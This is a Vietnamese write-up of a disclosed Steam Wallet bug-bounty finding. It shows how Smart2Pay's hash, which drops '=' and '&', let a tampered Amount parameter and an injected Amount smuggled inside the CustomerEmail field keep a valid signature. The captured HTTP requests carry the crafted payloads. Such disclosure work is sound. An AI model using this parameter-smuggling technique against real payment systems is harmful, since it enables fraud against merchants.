Steam là một nền tảng phân phối và cung cấp thư viện game khổng lồ. Để có thể mua game trên Steam ngoài phương thức thanh toán thông thường như tài khoản ngân hàng hoặc thẻ tín dụng, chúng ta có thể sử dụng Steam Wallet, giống như ví Momo bạn có thể nạp tiền vào và mua game hoặc các sản phẩm liên quan đến game.
Lỗ hổng xuất hiện tại đường dẫn https://store.steampowered.com/steamaccount/addfunds
Khi ta nhấn add funds
để nạp vip và sử dụng phương thức thanh toán Smart2Pay
Khi ta bắt lại cú request nó sẽ có dạng như sau:
POST / HTTP/1.1
Host: globalapi.smart2pay.com
Content-Length: 388
…..
Connection: close
MerchantID=1102&MerchantTransactionID=███&Amount=1337&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=KSCS@cbjs.com&CustomerName=_drbrix_&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=███
Param CustomerEmail
chính là email của người dùng. Ta không thể nào thay đổi được bất kỳ param nào của request vì request có trường Hash
ở cuối được dùng để validate gói tin có bị thay đổi hay không
Khi điều tra thuật toán mã hóa phát hiện trường Hash được gen từ plaintext là các paramerter xuất hiện trong request nhưng bỏ đi dấu “=”
và dấu “&”
Ví dụ: có các parameter như MerchantID=1102&MerchantTransactionID=1234&Amount=2000…
Thì trường Hash
sẽ có giá trị là kết quả của hàm
hash(MerchantID1102&MerchantTransactionID1234&Amount2000…)
Vậy thì liệu có cách nào thay đổi giá trị của các param nhưng giá trị Hash
được tạo vẫn hợp lệ hay không ?
Để làm được điều đó ta lợi dụng cơ chế gen hash của ứng dụng, khi nó tự loại bỏ đi dấu “=” của các param. Nếu ta thay đổi param Amount=1337
thành Amount13=37
thì khi param này được xử lý để gen hash đều sẽ cho ra Amount1337
.
Ta đã có thể vô hiệu quá trường amount ban đầu của request, vậy thì bây giờ làm cách nào để ta thêm param amount khác mà ta có thể kiểm soát giá trị vào cú request ?
Vẫn tiếp tục lợi dụng hành vi của ứng dụng cụ thể hành vi loại bỏ ký tự “&” khi gen hash. Ta tạo thêm một user khác có gmail nhưng phải tuân thủ theo cú pháp <gmail_cũ>Amout10000endy@kcsc.com
Khi ấy request của ta sẽ có dạng:
POST / HTTP/1.1
Host: globalapi.smart2pay.com
Content-Length: 388
…..
Connection: close
MerchantID=1102&MerchantTransactionID=███&Amount13=37&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=KCSCAmount10000endy@kcsc.com&CustomerName=_drbrix_&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=███
Khi này ta thêm &
để ngăn cách gmail cũ, Amount1000 và phần endy@cbjs.com. Lúc này request sẽ có dạng:
POST / HTTP/1.1
Host: globalapi.smart2pay.com
Content-Length: 388
…..
Connection: close
MerchantID=1102&MerchantTransactionID=███&Amount13=37&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=KCSC&Amount=10000&endy=@kcsc.com&CustomerName=_drbrix_&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=███
Ta thấy CustomerEmail=KCSC&Amount=10000&endy=@kcsc.com
và CustomerEmail=KCSCAmount10000endy@kcsc.com
khi được xử lý để gen hash đều có cùng một output đó là CustomerEmailKCSCAmount10000endy@kcsc.com
Kết hợp 2 kỹ thuật trên, ta vừa vô hiệu hóa đi param Amount mặc định của request, ta vừa thêm vào request một param Amount do ta kiểm soát nhưng không làm thay đổi giá trị của trường Hash.
Hậu quả ta có thể nạp vào Steam Wallet số tiền tùy ý chỉ cần 1$ duy nhất
Bug hunter report lỗ hổng đã được 7500$ tiền thưởng cho công sức của mình